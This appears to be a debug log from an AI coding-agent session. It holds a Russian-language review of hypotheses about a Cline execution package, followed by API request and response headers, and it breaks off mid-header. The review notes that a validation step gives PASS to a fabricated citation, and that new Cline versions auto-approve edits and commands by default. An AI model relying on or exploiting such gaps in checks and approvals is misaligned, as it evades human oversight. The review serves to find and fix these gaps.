\u0432\u044b\u0434\u0430\u0447\u0430\\n34-\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u0435\u0439\u0447\u0430\u0441 \u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043d\u0430\\n35-\u0442\u0435\u043a\u0441\u0442\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0430 \u043d\u0435 \u043d\u0430 \u043a\u043e\u0434\u0435.\\n36-\\n--\\n128:| 6 | \u0413\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 | \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Working, \u0441\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release; \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u043e | \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430 | [\u0413-16](#\u0433-16), [\u0413-17](#\u0433-17), [\u0413-18](#\u0433-18) |\\n129-\\n130-## \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\\n131-\\n132-\u0421\u0441\u044b\u043b\u043a\u0438 \u0432\u0435\u0434\u0443\u0442 \u043d\u0430 `main`. \u041a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f:\\n--\\n165:| \u0413-14 | \u041f\u043e\u043b\u0435 `temperature: 0.1` \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u0435\u043b\u0430\u0435\u0442 \u043e\u0442\u0432\u0435\u0442\u044b \u043c\u043e\u0434\u0435\u043b\u0438 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u043c\u0438 | `temperature` \u0441\u0442\u043e\u0438\u0442 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 [`.clinerules/01-package.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/.clinerules/01-package.md#L5) \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432. \u042d\u0442\u043e \u043c\u0435\u0442\u043a\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430\u043c \u0425\u0430\u0431\u0430, \u0430 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438: Cline v3 \u0438\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e [`paths`](https://github.com/cline/cline/blob/e1bdeeff68e95734901c7a4b3a31753bae54a634/apps/vscode/src/core/context/instructions/user-instructions/rule-conditionals.ts#L77-L106), v4 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e [`name`, `disabled`, `enabled`](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/sdk/packages/core/src/extensions/config/user-instruction-config-loader.ts#L383-L408) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c**: \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u0432 \u0444\u0430\u0439\u043b\u0430\u0445; \u0435\u0451 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0437\u0430\u0434\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043c\u043e\u0434\u0435\u043b\u0438. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 runner, \u0430 \u043d\u0435 \u0442\u0435\u043c\u043f\u0435\u0440\u0430\u0442\u0443\u0440\u0430 ([\u0413-16](#\u0433-16)) |\\n166-| \u0413-15 | \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u00ab\u0417\u0430\u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u00bb \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u0430 \u0432 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0435, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0442\u043e\u0438\u0442 \u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f | \u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f: [\u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0432 PowerShell 7 \u043d\u0430 Linux; \u0432 Windows PowerShell 5.1 \u0435\u0433\u043e \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0438\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/05-commands-reference.md#L105-L108); \u043d\u0430 Windows \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0441\u0442\u043e\u0438\u0442 5.1. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 [\u041e-2](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/01-junior-pilot.md#L136) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c** (B-199): \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `seal` \u0432 runner \u2014 \u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 Python \u0432\u043c\u0435\u0441\u0442\u043e here-string \u0432 PowerShell |\\n167-| \u0413-25 | \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0443\u0432\u0438\u0434\u0438\u0442 \u0432 Cline | \u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u0443\u043d\u043a\u0442\u044b [\u00abRead project files\u00bb, \u00abEdit project files\u00bb, \u00abExecute safe commands\u00bb, \u00abYOLO Mode\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/03-deploy-package.md#L204-L215) \u2014 \u044d\u0442\u043e \u043c\u0435\u043d\u044e Cline v3 ([\u0441\u043f\u0438\u0441\u043e\u043a](https://github.com/cline/cline/blob/e1bdeeff68e95734901c7a4b3a31753bae54a634/apps/vscode/webview-ui/src/components/chat/auto-approve-menu/constants.ts)). \u0412 v4.1.21 \u043f\u0443\u043d\u043a\u0442\u044b \u0434\u0440\u0443\u0433\u0438\u0435 \u2014 [\u00abRead files\u00bb, \u00abEdit files\u00bb, \u00abExecute commands\u00bb, \u00abFetch web content\u00bb, \u00abUse MCP servers\u00bb](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/apps/vscode/webview-ui/src/components/chat/auto-approve-menu/constants.ts#L6-L31), \u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e [\u043f\u0440\u0430\u0432\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0432\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u044b \u0431\u0435\u0437 \u0432\u043e\u043f\u0440\u043e\u0441\u0430](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/apps/vscode/src/shared/AutoApprovalSettings.ts#L28-L43). \u0412\u043c\u0435\u0441\u0442\u0435 \u0441 [\u0413-10](#\u0433-10) \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442: \u043d\u0430 Windows \u0441 \u043d\u043e\u0432\u044b\u043c Cline \u0434\u043e \u0440\u0443\u0447\u043d\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0430\u0433\u0435\u043d\u0442\u0430 \u043d\u0435 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u043d\u0438\u0447\u0435\u0433\u043e, \u043a\u0440\u043e\u043c\u0435 [\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0437\u0430\u0449\u0438\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/03-deploy-package.md#L223-L252), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0443\u044e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e \u043b\u043e\u0432\u0438\u0442. \u0416\u0438\u0432\u0430\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 v4 \u0432 \u044d\u0442\u043e\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u0435 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u0430\u0441\u044c | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c** \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438: \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Cline \u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u043f\u0443\u043d\u043a\u0442\u043e\u0432 \u0434\u043b\u044f \u043d\u0435\u0451; \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0437\u0430\u0449\u0438\u0442\u044b \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u0430 |\\n168-\\n169-### \u0413. \u0411\u0430\u043b\u0430\u043d\u0441 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438: \u0433\u0434\u0435 \u043a\u043e\u043d\u0447\u0430\u0435\u0442\u0441\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f G-mach\\n--\\n173:| \u0413-16 | \u0421\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u044b: \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 Working \u0434\u0430\u0451\u0442 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 Release | \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 Golden \u0434\u0430\u044e\u0442 \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 `release.json` (\u043f\u0440\u043e\u0431\u0430 `P5`). \u0412\u044b\u0432\u043e\u0434 \u2014 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON \u0441 \u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u043e\u0439 \u043a\u043b\u044e\u0447\u0435\u0439 ([`canonical`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/bcreq_pipeline.py#L20-L29)); `validate-release` \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041f\u0440\u0438\u043d\u044f\u0442\u044c** \u043a\u0430\u043a \u043e\u043f\u043e\u0440\u0443: \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f 6, \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442 Working \u0434\u043e Release |\\n174-| \u0413-17 | \u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 PASS \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0438 \u0446\u0438\u0442\u0430\u0442\u044b \u0432\u0437\u044f\u0442\u044b \u0438\u0437 \u043d\u0438\u0445 | \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u0441\u0443\u043c\u043c\u0430 \u2014 `sha256` \u043e\u0442 \u0441\u0430\u043c\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b ([`EVID-03`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/bcreq_pipeline.py#L178-L185)); `retrieval_status: \\\"read\\\"` \u043f\u0438\u0448\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c. \u0427\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u0441 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c \u0430\u0434\u0440\u0435\u0441\u043e\u043c `https://nonexistent.invalid/page/42` \u0438 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u043e\u0439 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 `PASS` (\u043f\u0440\u043e\u0431\u0430 `P4`). \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 [\u0447\u0435\u043a-\u043b\u0438\u0441\u0442 G-human](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/evaluation/g-human-checklist.md#L10) \u043e\u0442\u0434\u0430\u0451\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c**: \u0441\u0443\u043c\u043c\u0430 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0430 \u043d\u0435 \u0435\u0451 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u044c. **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c** \u0434\u043b\u044f KB: \u0435\u0441\u043b\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u2014 \u0444\u0430\u0439\u043b `docs/kb/`, runner \u043c\u043e\u0436\u0435\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0447\u0442\u043e \u0446\u0438\u0442\u0430\u0442\u0430 \u0435\u0441\u0442\u044c \u0432 \u0444\u0430\u0439\u043b\u0435 |\",\n[2026-09-29T07:47:45.380Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:47:45.380Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:47:45.380Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:47:45.380Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:47:45.380Z] [INFO]   }\n[2026-09-29T07:47:45.380Z] [INFO] }\n[2026-09-29T07:47:45.409Z] [STDOUT] [log_f372e1] sending request {\n[2026-09-29T07:47:45.411Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:45.414Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:45.418Z] [STDOUT]   options: {\n[2026-09-29T07:47:45.420Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:45.422Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:45.426Z] [STDOUT]     body: {\n[2026-09-29T07:47:45.428Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:45.430Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:45.436Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:45.440Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:45.443Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:45.446Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:45.448Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:45.451Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:45.453Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:45.456Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:45.458Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:45.460Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:45.462Z] [STDOUT]     },\n[2026-09-29T07:47:45.465Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:45.467Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:45.471Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:45.476Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:45.482Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:45.487Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:45.494Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:45.501Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:45.505Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:45.510Z] [STDOUT]     },\n[2026-09-29T07:47:45.513Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:45.517Z] [STDOUT]   },\n[2026-09-29T07:47:45.525Z] [STDOUT]   headers: {\n[2026-09-29T07:47:45.532Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:45.539Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:45.556Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:45.562Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:45.567Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:45.570Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:45.572Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:45.578Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:45.584Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:45.591Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1732;Bash=1699\",\n[2026-09-29T07:47:45.595Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:45.598Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:47:45.603Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:45.606Z] [STDOUT]     \"x-client-request-id\": \"742eeda1-9fec-4547-bfc3-be06900b6120\",\n[2026-09-29T07:47:45.608Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:45.619Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:45.622Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:45.633Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:45.636Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:45.640Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:45.643Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:45.648Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:45.654Z] [STDOUT]   },\n[2026-09-29T07:47:45.661Z] [STDOUT] }\n[2026-09-29T07:47:46.184Z] [STDOUT] [log_f372e1, request-id: \"req_011CfXMw87CXVyPQ8Ppqc1Yb\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 775ms\n[2026-09-29T07:47:46.188Z] [STDOUT] [log_f372e1] response start {\n[2026-09-29T07:47:46.192Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:46.195Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:46.198Z] [STDOUT]   headers: {\n[2026-09-29T07:47:46.201Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:46.204Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:46.207Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:46.210Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:46.213Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:46.216Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:46.219Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:46.224Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:46.247Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:46.256Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:46.262Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:46.270Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:46.279Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:46.286Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:46.290Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:46.294Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:46.298Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:46.304Z] [STDOUT]     \"cf-ray\": \"a42961b0dcf5dbb5-FRA\",\n[2026-09-29T07:47:46.306Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:46.310Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:46.313Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:46.326Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:46.332Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:46 GMT\",\n[2026-09-29T07:47:46.345Z] [STDOUT]     \"request-id\": \"req_011CfXMw87CXVyPQ8Ppqc1Yb\",\n[2026-09-29T07:47:46.350Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:46.356Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:46.362Z] [STDOUT]     traceresponse: \"00-86d1ca49cf41497ad507b48c49382bfb-831ba15a6a4528ba-01\",\n[2026-09-29T07:47:46.366Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:46.370Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:46.375Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:46.378Z] [STDOUT]   },\n[2026-09-29T07:47:46.381Z] [STDOUT]   durationMs: 775,\n[2026-09-29T07:47:46.385Z] [STDOUT] }\n[2026-09-29T07:47:46.389Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:46.396Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:46 GMT\",\n[2026-09-29T07:47:46.400Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:46.403Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:46.408Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:46.413Z] [STDOUT]   \"cache-control\": 